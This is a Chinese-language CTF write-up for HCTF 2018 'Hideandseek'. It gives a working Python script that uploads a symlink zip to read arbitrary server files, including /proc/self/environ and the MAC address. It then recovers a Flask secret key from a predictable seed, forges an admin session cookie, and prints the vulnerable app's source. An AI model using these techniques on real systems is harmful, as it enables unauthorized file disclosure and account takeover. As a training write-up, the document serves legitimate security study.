HCTF 2018 Hideandseek
前言
一万年没刷题了,尽搞些杂七杂八的了,于是乎刷了一个题(自己给自己一个嘴巴子) 总结一下这个题的考点:
- zip软链接实现任意文件读取
- linux系统目录的熟悉
- flask session伪造和加解密
正言
直接上题:

意图很明显,直接让你传
zip
文件,因此在这里想到可能是想让你进行zip
软链接来读取其他文件,大晚上了,这里直接上写的exp吧:
#coding=utf-8
import os
import requests
import sys
url = 'http://0a716e50-1cf2-4cd8-a00f-b70d9987ed64.node3.buuoj.cn/upload'
def makezip():
os.system('ln -s '+sys.argv[1]+' exp')
os.system('zip --symlinks exp.zip exp')
makezip()
files = {'the_file':open('./exp.zip','rb')}
def exploit():
res = requests.post(url,files=files)
print(res.text)
exploit()
os.system('rm -rf exp')
os.system('rm -rf exp.zip')

这里首先你要通过
session
判断出使用了flask
的框架
这里可以使用
flask_session_manage
进行加解密,我们解密一下session
得到:
我们知道
flask
的session
构造是需要secret_key
的,所以我们的目标是去找到这个值,访问Linux的/proc/self/environ
文件,它存放着环境变量,也就包括flask
下的环境变量
给了你
/app/uwsgi.ini
,而这个文件是uwsgi.ini
配置文件,一般情况下
client —> nginx —> uwsgi –> flask后台程序 (生产上一般都用这个流程)
因此很有可能存放了secret_key
,继续读取:

由于是在buu复现,和原题不太一样,原题的main目录并不是这个,而我们去读取原题的main文件才是真正的
main.py
原题main.py
/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py
我们在这也能顺利读取,应该是题目存在小bug吧。。

这里贴一下源码:
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='0.0.0.0', debug=True, port=10008)
这里secret_key
居然是随机生成的,诶等等,给了种子啊,我们知道这个random
是著名的伪随机数,我们只要知道播了的种子就能够生成和它产生一样的随机数,因此看到
random.seed(uuid.getnode())

原来是拿
mac地址的十进制
当的种子,那怎么找mac地址呢?
直接在
/sys/class/net/eth0/address
下就能看到:
转化成十进制后,我们用这个为种子
#coding=utf-8
import requests
import random
seed = 2485410478003
random.seed(seed)
secret_key = str(random.random()*100)
print(secret_key)
#66.46212199726358
有了secret_key
之后,我们也知道session
的构造方法,那我们就直接构造admin
用户的session
,从而伪造admin
用户

得到
session:eyJ1c2VybmFtZSI6ImFkbWluIn0.Ee4XgA.bm-2-b3yYDOypespe_8VdtHPuyM
后我们直接改包即可